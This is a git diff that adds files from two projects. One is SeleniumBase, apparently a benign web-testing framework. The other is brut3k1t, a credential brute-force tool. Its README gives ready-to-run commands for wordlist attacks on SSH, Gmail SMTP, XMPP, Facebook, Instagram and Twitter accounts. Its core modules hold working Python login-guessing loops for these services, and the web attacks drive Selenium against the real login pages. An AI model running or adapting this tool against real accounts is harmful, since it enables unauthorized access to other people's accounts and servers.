+            from how Selenium is run remotely, such as from Jenkins. """
+
+        if self.options.headless:
+            self.display = Display(visible=0, size=(1200, 800))
+            self.display.start()
+            self.headless_active = True
+        if self.options.servername == "localhost":
+            try:
+                self.driver = self.__select_browser(self.options.browser)
+                test.test.driver = self.driver
+                if "version" in self.browser_settings.keys():
+                    version = self.browser_settings["version"]
+                else:
+                    version = ""
+                test.test.browser = "%s%s" % (self.options.browser, version)
+                test.test.demo_mode = self.options.demo_mode
+                test.test.demo_sleep = self.options.demo_sleep
+                test.test.highlights = self.options.highlights
+                test.test.verify_delay = self.options.verify_delay  # MasterQA
+                test.test.timeout_multiplier = self.options.timeout_multiplier
+            except Exception as err:
+                print("Error starting/connecting to Selenium:")
+                print(err)
+                os.kill(os.getpid(), 9)
+        else:
+            connected = False
+            for i in range(1, 4):
+                try:
+                    self.driver = self.__select_browser(self.options.browser)
+                    test.test.driver = self.driver
+                    if "version" in self.browser_settings.keys():
+                        version = self.browser_settings["version"]
+                    else:
+                        version = ""
+                    test.test.browser = "%s%s" % (
+                        self.options.browser, version)
+                    connected = True
+                    break
+                except Exception as err:
+                    print("Attempt #%s to connect to Selenium failed" % i)
+                    if i < 3:
+                        print("Retrying in 3 seconds...")
+                        time.sleep(3)
+            if not connected:
+                print("Error starting/connecting to Selenium:")
+                print(err)
+                print("\n\n")
+                os.kill(os.getpid(), 9)
+
+    def afterTest(self, test):
+        try:
+            self.driver.quit()
+        except AttributeError:
+            pass
+        except:
+            print("No driver to quit.")
+        if self.options.headless:
+            if self.headless_active:
+                self.display.stop()
+
+    def __select_browser(self, browser_name):
+        if (self.options.servername != "localhost" or
+                self.options.browser == constants.Browser.HTML_UNIT):
+            return webdriver.Remote("http://%s:%s/wd/hub" % (
+                self.options.servername,
+                self.options.port),
+                self.browser_settings)
+        else:
+            return browser_launcher.get_driver(browser_name)
diff --git a/SeleniumBase/seleniumbase/resources/ReadMe.md b/SeleniumBase/seleniumbase/resources/ReadMe.md
new file mode 100755
index 00000000..357fa953
--- /dev/null
+++ b/SeleniumBase/seleniumbase/resources/ReadMe.md
@@ -0,0 +1,7 @@
+## Resources Help
+
+If you want to run SeleniumBase automation on local web pages while offline, that's possible if you copy the resource files here to a location where your local web server is able to access those files as long as you make the necessary updates to your local copy of SeleniumBase. You might not even need to use them depending on what you're doing.
+
+**jquery-3.1.0.min.js** - This file is used by [base_case.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/fixtures/base_case.py) in activate_jquery(). The activate_jquery() method uses the version at [http://code.jquery.com/jquery-3.1.0.min.js](http://code.jquery.com/jquery-3.1.0.min.js). You only need this file if you're making jQuery calls in your automation (some base_case methods use jQuery).
+
+**favicon.ico** - This file is used by [style_sheet.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/core/style_sheet.py) for the favicon icon. All it does is make the report page a little more professional-looking. Currently, SeleniumBase uses the version at [https://raw.githubusercontent.com/seleniumbase/SeleniumBase/master/seleniumbase/resources/favicon.ico](https://raw.githubusercontent.com/seleniumbase/SeleniumBase/master/seleniumbase/resources/favicon.ico).
diff --git a/SeleniumBase/seleniumbase/resources/favicon.ico b/SeleniumBase/seleniumbase/resources/favicon.ico
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diff --git a/SeleniumBase/seleniumbase/resources/jquery-3.1.0.min.js b/SeleniumBase/seleniumbase/resources/jquery-3.1.0.min.js
new file mode 100644
index 00000000..f6a6a99e
--- /dev/null
+++ b/SeleniumBase/seleniumbase/resources/jquery-3.1.0.min.js
@@ -0,0 +1,4 @@
+/*! jQuery v3.1.0 | (c) jQuery Foundation | jquery.org/license */
+!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.0",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null!=a?a<0?this[a+this.length]:this[a]:f.call(this)},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return 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diff --git a/SeleniumBase/server_requirements.txt b/SeleniumBase/server_requirements.txt
new file mode 100755
index 00000000..cb050c03
--- /dev/null
+++ b/SeleniumBase/server_requirements.txt
@@ -0,0 +1,18 @@
+pip>=9.0.1
+setuptools>=35.0.1
+ipython==5.3.0
+selenium==2.53.6
+nose>=1.3.7
+pytest>=3.0.7
+pytest-html>=1.14.2
+six>=1.10.0
+flake8>=3.3.0
+requests>=2.13.0
+urllib3>=1.20
+BeautifulSoup>=3.2.1
+unittest2>=1.1.0
+chardet>=3.0.2
+boto>=2.46.1
+ipdb==0.10.2
+pyvirtualdisplay>=0.2.1
+MySQL-python>=1.2.5
diff --git a/SeleniumBase/server_setup.py b/SeleniumBase/server_setup.py
new file mode 100755
index 00000000..851fc18c
--- /dev/null
+++ b/SeleniumBase/server_setup.py
@@ -0,0 +1,64 @@
+"""
+The setup package to install SeleniumBase dependencies and plugins
+(Uses the older Selenium 2.53.6 for compatibility reasons)
+"""
+
+import os
+from setuptools import setup, find_packages  # noqa
+
+setup(
+    name='seleniumbase',
+    version='1.3.23',
+    description='Test Automation Framework - http://seleniumbase.com',
+    long_description='Automation Framework for Simple & Reliable Web Testing',
+    platforms='Mac * Windows * Linux * Docker',
+    url='http://seleniumbase.com',
+    author='Michael Mintz',
+    author_email='@mintzworld',
+    maintainer='Michael Mintz',
+    license='The MIT License',
+    install_requires=[
+        'pip>=9.0.1',
+        'setuptools>=35.0.1',
+        'ipython==5.3.0',
+        'selenium==2.53.6',
+        'nose>=1.3.7',
+        'pytest>=3.0.7',
+        'pytest-html>=1.14.2',
+        'six>=1.10.0',
+        'flake8>=3.3.0',
+        'requests>=2.13.0',
+        'urllib3>=1.20',
+        'BeautifulSoup>=3.2.1',
+        'unittest2>=1.1.0',
+        'chardet>=3.0.2',
+        'boto>=2.46.1',
+        'ipdb==0.10.2',
+        'pyvirtualdisplay>=0.2.1',
+        ],
+    packages=['seleniumbase',
+              'seleniumbase.core',
+              'seleniumbase.plugins',
+              'seleniumbase.fixtures',
+              'seleniumbase.masterqa',
+              'seleniumbase.common',
+              'seleniumbase.config'],
+    entry_points={
+        'nose.plugins': [
+            'base_plugin = seleniumbase.plugins.base_plugin:Base',
+            'selenium = seleniumbase.plugins.selenium_plugin:SeleniumBrowser',
+            'page_source = seleniumbase.plugins.page_source:PageSource',
+            'screen_shots = seleniumbase.plugins.screen_shots:ScreenShots',
+            'test_info = seleniumbase.plugins.basic_test_info:BasicTestInfo',
+            ('db_reporting = '
+             'seleniumbase.plugins.db_reporting_plugin:DBReporting'),
+            's3_logging = seleniumbase.plugins.s3_logging_plugin:S3Logging',
+            ('hipchat_reporting = seleniumbase.plugins'
+             '.hipchat_reporting_plugin:HipchatReporting'),
+            ],
+        'pytest11': ['seleniumbase = seleniumbase.plugins.pytest_plugin']
+        }
+    )
+
+print(os.system("cat seleniumbase.egg-info/PKG-INFO"))
+print("\n*** SeleniumBase Installation Complete! ***\n")
diff --git a/SeleniumBase/setup.cfg b/SeleniumBase/setup.cfg
new file mode 100755
index 00000000..6df1b1dc
--- /dev/null
+++ b/SeleniumBase/setup.cfg
@@ -0,0 +1,8 @@
+[nosetests]
+# This is the config file for default values used during nosetest runs
+nocapture=1  ; Displays print statements from output. Undo this by using: --nologcapture
+logging-level=INFO  ; INFO keeps the logs much cleaner than using DEBUG
+
+[bdist_wheel]
+# SeleniumBase is for Python 2.7 (right now)
+universal=0
diff --git a/SeleniumBase/setup.py b/SeleniumBase/setup.py
new file mode 100755
index 00000000..312443ab
--- /dev/null
+++ b/SeleniumBase/setup.py
@@ -0,0 +1,63 @@
+"""
+The setup package to install SeleniumBase dependencies and plugins
+"""
+
+import os
+from setuptools import setup, find_packages  # noqa
+
+setup(
+    name='seleniumbase',
+    version='1.3.23',
+    description='Test Automation Framework - http://seleniumbase.com',
+    long_description='Automation Framework for Simple & Reliable Web Testing',
+    platforms='Mac * Windows * Linux * Docker',
+    url='http://seleniumbase.com',
+    author='Michael Mintz',
+    author_email='@mintzworld',
+    maintainer='Michael Mintz',
+    license='The MIT License',
+    install_requires=[
+        'pip>=9.0.1',
+        'setuptools>=35.0.1',
+        'ipython==5.3.0',
+        'selenium==3.4.1',
+        'nose>=1.3.7',
+        'pytest>=3.0.7',
+        'pytest-html>=1.14.2',
+        'six>=1.10.0',
+        'flake8>=3.3.0',
+        'requests>=2.13.0',
+        'urllib3>=1.20',
+        'BeautifulSoup>=3.2.1',
+        'unittest2>=1.1.0',
+        'chardet>=3.0.2',
+        'boto>=2.46.1',
+        'ipdb==0.10.2',
+        'pyvirtualdisplay>=0.2.1',
+        ],
+    packages=['seleniumbase',
+              'seleniumbase.core',
+              'seleniumbase.plugins',
+              'seleniumbase.fixtures',
+              'seleniumbase.masterqa',
+              'seleniumbase.common',
+              'seleniumbase.config'],
+    entry_points={
+        'nose.plugins': [
+            'base_plugin = seleniumbase.plugins.base_plugin:Base',
+            'selenium = seleniumbase.plugins.selenium_plugin:SeleniumBrowser',
+            'page_source = seleniumbase.plugins.page_source:PageSource',
+            'screen_shots = seleniumbase.plugins.screen_shots:ScreenShots',
+            'test_info = seleniumbase.plugins.basic_test_info:BasicTestInfo',
+            ('db_reporting = '
+             'seleniumbase.plugins.db_reporting_plugin:DBReporting'),
+            's3_logging = seleniumbase.plugins.s3_logging_plugin:S3Logging',
+            ('hipchat_reporting = seleniumbase.plugins'
+             '.hipchat_reporting_plugin:HipchatReporting'),
+            ],
+        'pytest11': ['seleniumbase = seleniumbase.plugins.pytest_plugin']
+        }
+    )
+
+print(os.system("cat seleniumbase.egg-info/PKG-INFO"))
+print("\n*** SeleniumBase Installation Complete! ***\n")
diff --git a/brut3k1t/.gitignore b/brut3k1t/.gitignore
new file mode 100644
index 00000000..0d20b648
--- /dev/null
+++ b/brut3k1t/.gitignore
@@ -0,0 +1 @@
+*.pyc
diff --git a/brut3k1t/README.md b/brut3k1t/README.md
new file mode 100644
index 00000000..18bd1f3a
--- /dev/null
+++ b/brut3k1t/README.md
@@ -0,0 +1,189 @@
+# brut3k1t  
+
+[![GitHub forks](https://img.shields.io/github/forks/ex0dus-0x/brut3k1t.svg)](https://github.com/ex0dus-0x/brut3k1t/network)
+[![GitHub issues](https://img.shields.io/github/issues/ex0dus-0x/brut3k1t.svg)](https://github.com/ex0dus-0x/brut3k1t/issues)
+[![GitHub license](https://img.shields.io/badge/license-AGPL-blue.svg)](https://raw.githubusercontent.com/ex0dus-0x/brut3k1t/master/LICENSE)
+
+Brute-force framework.
+
+Sorry for not working on this project. I have been quite busy with school as well as other projects that have taken precedence. With that said, any new features you would like to see added can be submitted through an issue/pull request. I am working on updating the current web-based bruteforce, as well as adding protocols such as `rdp` for remote desktop, and etc.
+
+## 0. Credit
+
+Credit goes out to those who have helped with the overall design and implementation of this project.
+The original design that inspired me to write a full-out bruteforce project was @chinoogawa, with the original __instaBrute__ design. Thanks!
+
+Credit also to @R3C0Nx00. Smart kid with brilliant penetration testing knowledge.
+
+## 1. Introduction
+
+__brut3k1t__ is a server-side bruteforce framework that supports dictionary attacks for several protocols.
+The current protocols that are complete and in support are:
+
+    ----------------
+    Protocols:
+    ----------------
+    ssh
+    ftp
+    smtp
+    xmpp
+    telnet
+
+    ----------------
+    Webbased Services
+    ----------------
+    instagram
+    facebook
+    twitter
+
+
+
+## 2. Installation
+
+Installation is simple. __brut3k1t__ requires several dependencies, which will all be installed by running the `installer.py` executable in the `extras` folder.
+
+* __argparse__ - utilized for parsing command line arguments
+* __paramiko__ - utilized for working with SSH connections and authentication
+* __ftplib__ - utilized for working with FTP connections and authentication
+* __smtplib__ - utilized for working with SMTP (email) connections and authentication
+* __selenium__ - utilized for web scraping, which is used with Instagram (and later Twitter)
+* __xmppy__ - utiized for XMPP connections
+
+
+Downloading is simple. Simply `git clone`.
+
+    git clone https://github.com/ex0dus-0x/brut3k1t
+
+Change to directory:
+
+    cd /path/to/brut3k1t
+
+Run the Installer file (as root)
+
+    ./installer
+
+## 3. Troubleshooting
+
+Before you actually send an issue through Github, please look through here before even trying to ask for help.
+
+If you received any errors about dependencies, specifically `ImportError:` try to manually install the requirements. Here's how:
+
+---
+
+Installing dependencies:
+
+    sudo apt-get install build-essential libssl-dev libffi-dev python-dev
+
+Make sure `firefox` is installed (default for most OS). If your operating system permits, install `firefoxdriver` as well.
+
+---
+
+Installing `pip` modules
+
+If you are using Ubuntu and derivatives, make sure to enable the `universe` repo!
+
+    sudo add-apt-repository universe
+
+Install pip, and all the dependencies in `requirements.txt`.
+
+    sudo apt-get install python-pip
+    sudo pip install -r requirements.txt
+
+---
+
+If you are getting an error such as `Can't load the profile. Profile Dir: /some/path`, or `'geckodriver' executable needs to be in PATH. `, that means that `selenium` can't find the path to Firefox. You are most likely on a non-Kali Linux operating system, and you chos and here's to fix:
+
+First, `sudo apt-get remove python-selenium`.
+
+* Run the `installer.py`, this time choosing __Ubuntu / Parrot OS i386__ or __Ubuntu / Parrot OS amd64__ depending on your architecture. Running this will ensure that `geckodriver` will be installed into your `PATH`.
+
+This sort of issue occurs mostly in non-Kali Linux distributions, even in other Debian-based distros.
+
+---
+
+## 4. Usage
+
+Utilizing __brut3k1t__ is a little more complicated than just running a Python file.
+
+Typing `./brut3k1t -h` shows the help menu:
+
+    usage: brut3k1t [-h] [-s SERVICE] [-u USERNAME] [-w PASSWORD] [-a ADDRESS]
+                   [-p PORT] [-d DELAY]
+
+    Server-side bruteforce module written in Python
+
+    optional arguments:
+    -h, --help            show this help message and exit
+    -a ADDRESS, --address ADDRESS
+                        Provide host address for specified service. Required
+                        for certain protocols
+    -p PORT, --port PORT  Provide port for host address for specified service.
+                        If not specified, will be automatically set
+    -d DELAY, --delay DELAY
+                        Provide the number of seconds the program delays as
+                        each password is tried
+
+    required arguments:
+    -s SERVICE, --service SERVICE
+                        Provide a service being attacked. Several protocols
+                        and services are supported
+    -u USERNAME, --username USERNAME
+                        Provide a valid username for service/protocol being
+                        executed
+    -w PASSWORD, --wordlist PASSWORD
+                        Provide a wordlist or directory to a wordlist
+
+### 5. Examples of usage:
+
+Cracking SSH server running on `192.168.1.3` using `root` and `wordlist.txt` as a wordlist.
+
+    ./brut3k1t -s ssh -a 192.168.1.3 -u root -w wordlist.txt
+
+The program will automatically set the port to 22, but if it is different, specify with `-p` flag.
+
+Cracking email `test@gmail.com` with `wordlist.txt` on port `25` with a 3 second delay. For email it is necessary to use the SMTP server's address. For e.g Gmail = `smtp.gmail.com`. You can research this using Google.
+
+    ./brut3k1t -s smtp -a smtp.gmail.com -u test@gmail.com -w wordlist.txt -p 25 -d 3
+
+Cracking XMPP `test@creep.im` with `wordlist.txt` on default port `5222`. XMPP also is similar to SMTP, whereas you will need to provide the address of the XMPP server, in this case `creep.im`.
+
+    ./brut3k1t -s xmpp -a creep.im -u test -w wordlist.txt
+
+Cracking Facebook requires either the username (preferable, in this case, `test`), email, phone number, or even ID.
+
+    ./brut3k1t -s facebook -u test -w wordlist.txt
+
+Cracking Instagram with username `test` with wordlist `wordlist.txt` and a 5 second delay
+
+     ./brut3k1t -s instagram -u test -w wordlist.txt -d 5
+
+Cracking Twitter with username `test` with wordlist `wordlist.txt`
+
+     ./brut3k1t -s twitter -u test -w wordlist.txt
+
+
+## 6. KEY NOTES TO REMEMBER
+
+ * If you do not supply the port `-p` flag, the default port for that service will be used. You do not need to provide it for Facebook and Instagram, since they are um... web-based. :)
+
+ * If you do not supply the delay `-d` flag, the default delay in seconds will be 1.
+
+ * Remember, use the SMTP server address and XMPP server address for the address `-a` flag, when cracking SMTP and XMPP, respectively.
+
+ * Make sure the wordlist and its directory is specified. If it is in `/usr/local/wordlists/wordlist.txt` specify that for the wordlist `-w` flag.
+
+ * Remember that some protocols are not based on their default port. A FTP server will not necessarily always be on port `21`. Please keep that in mind.
+
+ * Use this for educational and ethical hacking purposes, as well as the sake of learning code and security-oriented practices. __No script kiddies!__
+
+Thanks for trying out brut3k1t! I've been pretty lazy in terms of development and keeping this code updated and in track, so please __PLEASE__ report any sort of errors that arise (including false-positives).
+
+## 7. TODO
+
+* Proxy support
+* Randomized user agents
+* GUI or web-based GUI
+* Telnet and HTTP attack vectors
+
+
+# Much more features to come!
diff --git a/brut3k1t/brut3k1t b/brut3k1t/brut3k1t
new file mode 100755
index 00000000..242f67bf
--- /dev/null
+++ b/brut3k1t/brut3k1t
@@ -0,0 +1,34 @@
+#!/usr/bin/python
+'''
+brut3k1t - main application that calls upon dependencies and 
+    other libraries / modules
+'''
+
+from src.brut3k1t import *
+
+
+def main():
+    os.system("rm -rf tmp/") # delete tmp if created from previous usage
+    
+    b = Bruteforce(service=None, username=None, wordlist=None, address=None, port=None, delay=1, proxy=None)
+    
+    protocols = ["ssh", "ftp", "smtp", "telnet"]
+    web = ["instagram", "twitter", "facebook"]
+    
+    if b.service in protocols:
+        ProtocolBruteforce(b.service, b.address, b.username, b.wordlist, b.port, b.delay)
+    elif b.service in web:
+        if b.address or b.port:
+            print R + "[!] NOTE: You don't need to provide an address OR port [!]" + W
+            exit(1)
+        WebBruteforce(b.service, b.username, b.wordlist, b.delay)
+    elif b.service == 'xmpp':
+        xmppBruteforce(b.address, b.port, b.username, b.wordlist, b.delay)
+        
+
+if __name__ == '__main__':
+    try:
+        main()
+    except KeyboardInterrupt:
+        print R + "\n[!] Keyboard Interrupt detected! Killing program... [!]" + W
+        exit(1)
diff --git a/brut3k1t/core/__init__.py b/brut3k1t/core/__init__.py
new file mode 100644
index 00000000..818d5fd2
--- /dev/null
+++ b/brut3k1t/core/__init__.py
@@ -0,0 +1,4 @@
+
+from protocols import *
+from web import *
+from xmpp import *
\ No newline at end of file
diff --git a/brut3k1t/core/protocols.py b/brut3k1t/core/protocols.py
new file mode 100644
index 00000000..02cf7776
--- /dev/null
+++ b/brut3k1t/core/protocols.py
@@ -0,0 +1,170 @@
+'''
+protocols.py - Core module for network protocol bruteforcing
+
+Category: Core 
+Description: 
+    This module provides the methods for bruteforcing network protocols.
+    Using a multitude of Python libraries, protocols attempts to authenticate with
+    the specified service through its respective library.  
+    These include:
+    - ssh       Port: 22
+    - telnet    Port: 23
+    - ftp       Port: 21
+    - smtp      Port: 25
+
+Dependencies: main > smtplib, paramiko, ftplib
+
+Version: v1.0.0
+Author: ex0dus
+License: GPL-3.0 || https://opensource.org/licenses/GPL-3.0
+
+'''
+
+from src.main import *
+
+class ProtocolBruteforce(object):
+    def __init__(self, service, address, username, wordlist, port, delay):
+        self.service = service
+        self.address = address
+        self.username = username
+        self.wordlist = wordlist
+        self.port = port
+        self.delay = delay
+
+        if self.address is None:
+            print R + "[!] You need to provide an address for cracking! [!]" + W
+            exit(1)
+        print C + "[*] Address: %s" % self.address + W
+        sleep(0.5)
+        if self.port is None:
+            if self.service == "ssh":
+                self.port = 22
+            elif self.service == "ftp":
+                self.port = 21
+            elif self.service == "smtp":
+                print O + "[?] NOTE: SMTP has several ports for usage, including 25, 465, 587" + W
+                self.port = 25
+            elif self.service == "telnet":
+                self.port = 23
+            print O + "[?] Port not set. Automatically set to %s for you [?]" % self.port
+        print C + "[*] Port: %s "  % self.port + W
+        sleep(1)
+        print P + "[*] Starting dictionary attack! [*]" + W
+        print "Using %s seconds of delay. Default is 1 second" % self.delay
+        
+        # Call respective methods
+        if self.service == "ssh":
+            os.system("mkdir tmp/")
+            self.sshBruteforce(self.address, self.username, self.wordlist, self.port, self.delay)
+        elif self.service == "ftp":
+            self.ftpBruteforce(self.address, self.username, self.wordlist, self.port, self.delay)
+        elif self.service == "smtp":
+            self.smtpBruteforce(self.address, self.username, self.wordlist, self.port, self.delay)
+        elif self.service == "telnet":
+            self.telnetBruteforce(self.address, self.username, self.wordlist, self.port, self.delay)
+
+        
+    ## SSH - Secure SHell, connect AND bruteforce
+
+    def ssh_connect(self, address, username, password, port, code=0):
+        ssh = paramiko.SSHClient()
+        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+        paramiko.util.log_to_file("tmp/ssh.log")
+
+        try:
+            # Connecting! Errors are indicated by code variable.
+            ssh.connect(address, port=int(port), username=username, password=password)
+        except paramiko.AuthenticationException:
+            # Password did not authenticate.
+            code = 1
+        except socket.error, e:
+            # Something went wrong.
+            print R + "[!] Error: Connection Failed. [!]" + W
+            code = 2
+
+        ssh.close()
+        return code
+
+    def sshBruteforce(self, address, username, wordlist, port, delay):
+        wordlist = open(wordlist, 'r')
+        # Processing wordlist...
+        for i in wordlist.readlines():
+            password = i.strip("\n")
+            try:
+                response = self.ssh_connect(address, username, password, port)
+                if response == 0:
+                    print G + "[*] Username: %s | [*] Password found: %s\n" % (username, password) + W
+                elif response == 1:
+                    print O + "[*] Username: %s | [*] Password: %s | Incorrect!\n" % (username, password) + W
+                    sleep(delay)
+                elif response == 2:
+                    print R + "[!] Error: Connection couldn't be established to address. Check if host is correct, or up! [!]" + W
+                    exit()
+            except Exception as e:
+                print R + ("Error caught! %s" % e) + W 
+                pass
+            except KeyboardInterrupt:
+                exit(1)
+
+            wordlist.close()
+        
+    def ftpBruteforce(self, address, username, wordlist, port, delay):
+        wordlist = open(wordlist, 'r')
+        for i in wordlist.readlines():
+            password = i.strip("\n")
+            try:
+                ftp = ftplib.FTP()
+                ftp.connect(address, port)
+                ftp.login(username, password)
+                print G + "[*] Username: %s | [*] Password found: %s\n" % (username, password) + W
+                ftp.quit()
+            except ftplib.error_perm:
+                 print O + "[*] Username: %s | [*] Password: %s | Incorrect!\n" % (username, password) + W
+                 sleep(delay)
+            except ftplib.all_errors as e:
+                print R + ("Error caught! %s" % e) + W  
+            except KeyboardInterrupt:
+                ftp.quit()
+                exit(1)
+
+    ## SMTP - email
+
+    def smtpBruteforce(self, address, username, wordlist, delay, port):
+        wordlist = open(wordlist, 'r')
+        for i in wordlist.readlines():
+            password = i.strip("\n")
+            try:
+                s = smtplib.SMTP(str(address), port)
+                s.ehlo()
+                s.starttls()
+                s.ehlo
+                s.login(str(username), str(password))
+                print G + "[*] Username: %s | [*] Password found: %s\n" % (username, password) + W
+                s.close()
+            except smtplib.SMTPAuthenticationError:
+                print O + "[*] Username: %s | [*] Password: %s | Incorrect!\n" % (username, password) + W
+                sleep(delay)
+            except Exception as e:
+                print R + ("Error caught! %s" % e) + W 
+            except KeyboardInterrupt:
+                s.close()
+                exit(1)
+            
+
+    def telnetBruteforce(self, address, username, wordlist, port, delay):
+        telnet = telnetlib.Telnet(address)
+        telnet.read_until("login: ")
+        wordlist = open(wordlist, 'r')
+        for i in wordlist.readlines():
+            password = i.strip("\n")
+            try:
+                telnet.write(username + "\n")
+                telnet.read_until("Password: ")
+                telnet.write(password + "\n")
+            except socket.error:
+                print R + "[!] Error: Connection Failed. [!]" + W
+            # TODO: write output and handle error
+            except KeyboardInterrupt:
+                telnet.close()
+                exit(1)
+                
\ No newline at end of file
diff --git a/brut3k1t/core/web.py b/brut3k1t/core/web.py
new file mode 100644
index 00000000..b55bab8e
--- /dev/null
+++ b/brut3k1t/core/web.py
@@ -0,0 +1,125 @@
+ # -*- coding: utf-8 -*-
+
+'''
+web.py - Core module for web-based services bruteforce.
+
+Category: Core 
+Description: 
+    This module provides the methods for bruteforcing web-based services.
+    Most of these are built upon the Selenium library for webscraping and manipulation. 
+    These include:
+    - facebook
+    - instagram
+    - twitter
+
+Dependencies: main > selenium
+
+Version: v1.0.0
+Author: ex0dus
+License: GPL-3.0 || https://opensource.org/licenses/GPL-3.0
+
+'''
+
+from src.main import *
+
+
+# Assert: If specified string is NOT found, that means that user has succcessfully logged in.
+# The specified string usually means that the search query is erroneous, meaning that no 
+# page for the specified user exists.
+
+class WebBruteforce(object):
+    def __init__(self, service, username, wordlist, delay):
+        self.service = service
+        self.username = username
+        self.wordlist = wordlist
+        self.delay = delay
+
+        print P + "[*] Checking if username exists..." + W
+        self.usercheck(self.username, self.service)
+        if self.usercheck(username, service) == 1:
+            print R + "[!] The username was not found! Exiting..." + W
+            exit()
+        print G + "[*] Username found! Continuing..." + W
+        sleep(1)
+        self.webBruteforce(username, wordlist, service, delay)
+
+    def usercheck(self, username, service):
+        try:
+            driver = webdriver.Firefox()
+            if service == "facebook":
+                driver.get("https://www.facebook.com/" + username)
+                assert (("Sorry, this page isn't available.") not in driver.page_source)
+                driver.close()
+            elif service == "twitter":
+                driver.get("https://www.twitter.com/" + username)
+                assert (("Sorry, that page doesn’t exist!") not in driver.page_source)
+                driver.close()
+            elif service == "instagram":
+                driver.get("https://instagram.com/" + username)
+                assert (("Sorry, this page isn't available.") not in driver.page_source)
+                driver.close()
+        except AssertionError:
+            return 1
+
+
+    def webBruteforce(self, username, wordlist, service, delay):
+        driver = webdriver.Firefox()
+        if service == "facebook":
+            driver.get("https://iphone.facebook.com/")
+        elif service == "twitter":
+            driver.get("https://mobile.twitter.com/session/new")
+            sleep(delay * 2)
+        elif service == "instagram":
+            driver.get("https://instagram.com/accounts/login")
+
+
+        wordlist = open(wordlist, 'r')
+        for i in wordlist.readlines():
+            password = i.strip("\n")
+            try:
+                # Find username element dependent on service
+                if service == "facebook":
+                    elem = driver.find_element_by_name("email")
+                elif service == "twitter":
+                    elem = driver.find_element_by_name("session[username_or_email]")
+                elif service == "instagram":
+                    elem = driver.find_element_by_name("username")
+                elem.clear()
+                elem.send_keys(username)
+                
+                # Find password element dependent on service
+                if service == "facebook":
+                    elem = driver.find_element_by_name("pass")
+                elif service == "twitter":
+                    elem = driver.find_element_by_name("session[password]")
+                elif service == "instagram":
+                    elem = driver.find_element_by_name("password")
+                elem.clear()
+                elem.send_keys(password)
+                elem.send_keys(Keys.RETURN)
+                
+                # Check for changes in driver.title 
+                if service == "facebook":
+                    assert (("Welcome to Facebook") in driver.title)
+                elif service == "twitter":
+                    sleep(delay) # need to wait for page to load, sleep for delay seconds.
+                    assert (("Twitter") in driver.title)
+                elif service == "instagram":
+                    assert (("Login") in driver.title)
+                    if TIMEOUT in driver.page_source:
+                        print O + "[!] Timeout raised! Waiting... [!]" + W
+                        sleep(300)
+                
+                print O + "[*] Username: %s | [*] Password: %s | Incorrect!\n" % (username, password) + W
+                sleep(delay)
+
+            except AssertionError: 
+                # AssertionError: successful login, since we do not see the string in the title, meaning
+                # that the page has changed.
+                print G + "[*] Username: %s | [*] Password found: %s\n" % (username, password) + W
+                exit(0)
+            except Exception as e:
+                print R + ("Error caught! %s" % e) + W                 
+                exit(1)
+
+
diff --git a/brut3k1t/core/xmpp.py b/brut3k1t/core/xmpp.py
new file mode 100644
index 00000000..914d0b4d
--- /dev/null
+++ b/brut3k1t/core/xmpp.py
@@ -0,0 +1,45 @@
+'''
+protocols.py - Core module for network protocol bruteforcing
+
+Category: Core 
+Description: 
+    This module provides the methods for bruteforcing XMPP, a popular protocol for
+    instant messaging. In order to utilize this core module, it is important that
+    the user provides an address (XMPP server, e.g creep.im) and a username for that
+    particular server.
+    
+    brut3k1t -u username -a creep.im -w wordlist.txt -s xmpp
+
+Dependencies: main > xmpp
+
+Version: v1.0.0
+Author: ex0dus
+License: GPL-3.0 || https://opensource.org/licenses/GPL-3.0
+
+'''
+from src.main import *
+
+
+def xmppBruteforce(address, port, username, wordlist, delay):
+    xmppUser = username + "@" + str(address)
+    wordlist = open(wordlist, 'r')
+    for i in wordlist.readlines():
+        password = i.strip("\n")
+        try:
+            jid = protocol.JID(xmppUser)
+            client = client(jid.getDomain(), debug = [])
+            client.connect(str(address), port)
+            if client.auth(jid.getNode(), password):
+                client.sendInitPresence()
+                print G + "[*] Username: %s | [*] Password found: %s\n" % (username, password) + W
+                client.disconnect()
+                exit()
+        except Exception as e:
+            print R + ("Error caught! Name: %s" % e) + W  
+        except KeyboardInterrupt:
+            exit(1)
+        except:
+            print O + "[*] Username: %s | [*] Password: %s | Incorrect!\n" % (username, password) + W
+            sleep(delay)
+
+    
\ No newline at end of file
diff --git a/brut3k1t/dependencies/geckodriver-v0.14.0-linux32.tar.gz b/brut3k1t/dependencies/geckodriver-v0.14.0-linux32.tar.gz
new file mode 100644
index 0000000000000000000000000000000000000000..028ffb501f6717ece5d028336a8a6457f2621853
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diff --git a/brut3k1t/docs/MODULE.md b/brut3k1t/docs/MODULE.md
new file mode 100644
index 00000000..2b26b73a
--- /dev/null
+++ b/brut3k1t/docs/MODULE.md
@@ -0,0 +1,43 @@
+## Writing a Module
+
+For __brut3k1t__, there are 2 types of modules.
+
+1. core 
+3. miscellaneous
+
+---
+
+A __core__ module is source code that instantiates a method for bruteforcing. These are found in the `core/` directory, and can be for web-based services, or network protocols. The ones that the author wrote are `web.py` and `protocols.py`. Core modules are run as so:
+
+    python brut3k1t.py -a www.address.com -s service-name -u username -w wordlist.txt
+
+Bear in mind that core modules are created for the main purpose of the brut3k1t framework: bruteforce. Any community written core module should follow such a standard.
+
+---
+
+__Miscellaneous__ modules are included as part of brut3k1t to help aide in the process of bruteforcing. Found in the `modules/` directory, these are often scripts that perform menial tasks, such as wordlist generation, proxy list checking, and XSS discovery so that the researcher is able to overcome discrepancies when conducting a bruteforce. In order to instantiate a module, these require the use of the `--module` flag:
+
+    python brut3k1t.py --module THIS_MODULE [-otherflags 123]
+
+---
+
